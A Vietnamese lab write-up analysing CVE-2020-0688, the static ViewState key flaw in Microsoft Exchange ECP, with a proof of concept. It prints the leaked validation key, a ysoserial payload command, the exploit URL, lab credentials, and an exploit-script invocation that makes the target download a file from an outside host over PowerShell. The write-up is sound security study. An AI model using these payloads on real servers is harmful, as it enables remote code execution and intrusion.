# Analysis CVE Microsoft Exchage server - CVE-2020-0688
### Tổng quan về Microsoft Exchange
Microsoft Exchange là một phần mềm dùng để quản lý email cho các tổ chức, nó hoạt động dựa vào một máy chủ trung tâm và cấu hình tài khoản của người dùng.
**Chức năng chính của Microsoft Exchange**:
- Cung cấp dịch vụ email chuyên nghiệp với tính năng quản lý thư điện tử, lọc thư rác, hỗ trợ đa dạng giao thức (IMAP, POP3, SMTP).
- Quản lý lịch trình, tổ chức cuộc họp, mời tham gia sự kiện và chia sẻ lịch với đồng nghiệp.
- Quản lý danh bạ cá nhân và nhóm, giúp dễ dàng tìm kiếm thông tin liên hệ.
- Quản lý các tác vụ cá nhân hoặc nhóm, giúp theo dõi công việc và lịch trình.

Trước khi đi vào phân tích điều cần thiết là ta phải hiểu được cách hoạt động của cơ chế quản lý trạng thái trong ASP.NET Web Forms -> **VIEWSTATE**
### Tổng quan về CVE-2020-0688
Cụ thể lỗ hổng CVE-2020-0688 ảnh hưởng đến Exchange Control Panel (ECP). Thay vì tạo một random key duy nhất cho mỗi Exchange server với mỗi lần cài đặt phần mềm, thì tất cả các Exchange server sau khi cài đặt có cùng một cặp `validationKey` và `decryptionKey` trong file web.config, dẫn đến việc
- Tác hại là dẫn đến việc nếu ai đó tận dụng việc có cùng một cặp key và xác định được thuật toán mã hóa để tạo giá trị cho tham số `__VIEWSTATE` có chứa `shell command` được ký bằng một khóa hợp lệ và từ đó tạo ra một lỗ hổng RCE.
### Setup và PoC Exploit
Theo như [Microsoft Update Catalog](https://www.catalog.update.microsoft.com/ScopedViewInline.aspx?updateid=e9143556-001a-4f51-a7da-f85547fdff49) thì lỗ hổng này đã được vá ở bản KB4536987.
Phiên bản ta sẽ sử dụng lần này là: [Exchange Server 2016 CU12](https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019)
Mình đã tham khảo setup MS Exchange server: [Tại đây](https://www.cnblogs.com/jianyus/p/3170732.html)

Sau khi setup thành công.
**Thông tin tài khoản:**
administrator:An123123
attacker:Password! (và tài khoản cho client access)
### Vulnerability Detection
> "CVE-2020-0688 is a vulnerability caused by a default key. Since there is a default key in the web.config configuration file under ECP"
>
Mặc định file config sẽ nằm ở
```
<ExchangeInstallPath>\ClientAccess\ecp\web.config
```
Khi xem qua file config ta có thể thấy cặp `default key` ở thẻ `Machinekey`.

Lỗ hổng CVE-2020-0688 trong MS Exchange Server liên quan đến việc sử dụng chung một `static key (decryptionKey)` trong quá trình deserialization của `__VIEWSTATE`.
Trong quá trình deserialization của ObjectStateFormatter trong `__VIEWSTATE` thực chất là gọi nội bộ BinaryFormatter (một function deserialization không an toàn trong .NET).
- Có thể tham khảo chi tiết cách khai thác lỗ hổng insecure deserialization để xác định CVE-2020-0688 [tại đây](https://www.cnblogs.com/zpchcbd/p/17363026.html).
Ngoài ra Microsoft còn cung cấp cách xác định thông qua [Exchange Server build numbers](https://learn.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates?redirectedfrom=MSDN&view=exchserver-2019) trong các trang login của OWA và ECP, cho phép ta có thể xác định server nào có khả năng cao dễ bị tấn công bởi CVE-2020-0688.

### CVE-2020-0688 Exploitation
Từ source code của trang ta cũng có thể thấy một số thẻ input ẩn chứa giá trị của `__VIEWSTATE` và `__VIEWGENERATOR` mà tí nữa chúng ta sẽ cần để có thể khai thác CVE-2020-0688.

Một cách khác để có thể lấy được giá trị của `__VIEWGENERATOR` là thông qua code js ở console devtool như sau.
```
document.getElementById("__VIEWGENERATOR")
```
Để có thể khai thác được lỗ hổng này ta cần phải có được các giá trị sau:
```
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
--validationalg = SHA1
--generator= B97B4E27
--viewstateuserkey = ASP.NET_SessionId
```
Ta đã biết cách lấy được `__VIEWGENERATOR` và việc còn lại là lấy ASP.NET_Session như sau:

Ở đây payload sẽ gọi
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="<replace-your-viewstateuserkey>" --isdebug –-islegacy
```

URL encode payload bằng đoạn code python sau hoặc ta cũng có thể sử dụng các công cụ URL encoder online:
```
from urllib.parse import quote
input_str ="<replace-your-payload>"
encode_str = quote(input_str,"utf-8")
print(encode_str)
```

Các process trước khi thực hiện request

Gửi url sau
```
https://<replace-your-domain>/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=<replace-your-payload>
```

Có thể thấy sau khi gửi request ta đã thành công thực hiện RCE trên Exchange Server và tạo một process cho calc.exe.

### Script recon version bản Exchange, check server có bug CVE-2020-0688 không?


Ý tưởng của đoạn code python dùng để scan server exchange có bug CVE-2020-0688 hay không dựa trên việc xác định giá trị Build [Exchange Server build numbers](https://learn.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates?redirectedfrom=MSDN&view=exchserver-2019) trong các trang login của OWA và ECP.
Flowcode:
- Gửi một yêu cầu đến trang login, và tạo một chuỗi regex với cấu trúc như sau x.x.x hoặc x.x.x.x sau đó tìm trong phản hồi có chuỗi nào match với regex này không, mục đích là để lọc ra số bảng build number thường nằm trong header của nội dụng phản hồi.

- Sau đó lấy phần đầu tiên tức là Major và tiến hành map qua exchangeVersionMap để xác định phiên bản exchange server và lấy phần cuối cùng là phần Build number loop qua exchangeBuildNumbers để xác định build number trong phản hồi có trong blacklist không nếu cả 2 đều thỏa ⇒ khả năng tồn tại cve vì 2 danh sách trên là các version bị ảnh hưởng bởi cve này.
Dựa vào cấu trúc của Build Number ta như sau:
```python
Major.Minor.Build.Revision
```
**Major Version:** Chỉ định phiên bản chính của Microsoft Exchange Server.
**Minor Version:** Thường đại diện cho bản phát hành phụ hoặc thay đổi nhỏ trong cùng một phiên bản chính.
**Build Number:** Chỉ định bản dựng cụ thể cho phiên bản. Mỗi lần Microsoft cập nhật (CU) hoặc các bản vá bảo mật, số này sẽ tăng lên.
**Revision Number:** Thể hiện số lần sửa đổi nhỏ hoặc bản vá bảo mật cụ thể cho build này.

### script khai thác bug cho phép upload 1 file chỉ định (2-3mb) lên
server theo đường dẫn được chỉ định.**
Dựng một http server (mục đích là từ script khai thác sẽ thực hiện một lệnh system để send một request đến web server này và thực hiện download tệp chỉ định trong script khai thác).

script python:




Đoạn code python khai thác lỗ hổng trên được tham khảo và lấy ý tưởng ở [đây](https://github.com/MrTiz/CVE-2020-0688/blob/main/CVE-2020-0688.ps1)
Giải thích sơ qua một chút về đoạn code như sau:
- Bắt nguồn từ entrypoint là main() nhận vào các tham số thông qua các flag được định nghĩa ban đầu và truyền các tham số này vào getValue() sau đó khởi tạo một url và request header sử dụng method post → gửi yêu cầu login nếu login thành công sẽ direct đến endpoint /ecp/default.aspx bất đầu trích xuất các giá trị cần thiết để khai thác CVE-2020-0688 như __VIEWSTATEGENERATOR
từ response , tiếp tục lấy cookie với key là ASP.NET_SessionId và return các giá trị vừa trích xuất cùng với gốc (https://192.168.142.160).
- Sau đó t**ạo payload** bằng công cụ `ysoserial` (tải ở đây https://github.com/Yt1g3r/CVE-2020-0688_EXP) để tạo một payload và xây dựng URL khai thác: Tạo URL chứa `__VIEWSTATE` với tham số là payload vừa tạo được encode URL và tự ddoognj trigger gửi request đến exchange server. Nếu thành công sẽ trả về status code là 500.
Thực thi code exploit với đầu vào như sau:
```python
python CVE-2020-0688_EXP.py -s https://192.168.142.160/ -u cau4\attacker -p Password! -c "powershell Invoke-WebRequest -Uri 'http://192.168.142.135:8080/csrf.html' -OutFile (Join-Path -Path $pwd -ChildPath 'csrf.html')"
```

Từ log của web server có thể thấy một request từ máy mục tiêu đã gửi đến endpoint /csrf.html ⇒ payload đã thực thi thành công

Xác nhận kết quả tại máy mục tiêu

### script khai thác bug cho phép chạy shell command.
Vì bản chất của đoạn script ở 4.2 là chạy một shell command để gửi một request từ máy chủ exchange ngược về máy chủ web nên ta cũng có thể tái sử dụng đoạn script này để thực hiện yêu cầu 3, tuy nhiên cũng cần phải điều chỉnh là input một chút.
Ở đây ta sẽ thông qua shell command để tạo một process cho chương trình calc như sau:
```python
python CVE-2020-0688_EXP.py -s https://192.168.142.160/ -u cau4\attacker -p Password! -c "calc"
```

Có thể thấy đoạn script khai thác đã chạy thành công và sử dụng thông tin đăng nhập để đăng nhập và trích xuất ra các thông tin cần thiết để cung cấp cho đầu vào ysoserial.exe, sau đó tự động trigger một request có chứa payload và gửi đến máy chủ web exchange.
Kết quả là một process calc được khởi tạo và đang ở trạng thái running.

___HẾT___
>Vì đây là lần đầu mình tập tành phân tích CVE nên không thể tránh khỏi sơ suất nếu có vấn đề xin mọi người thoải mái góp ý nhé .
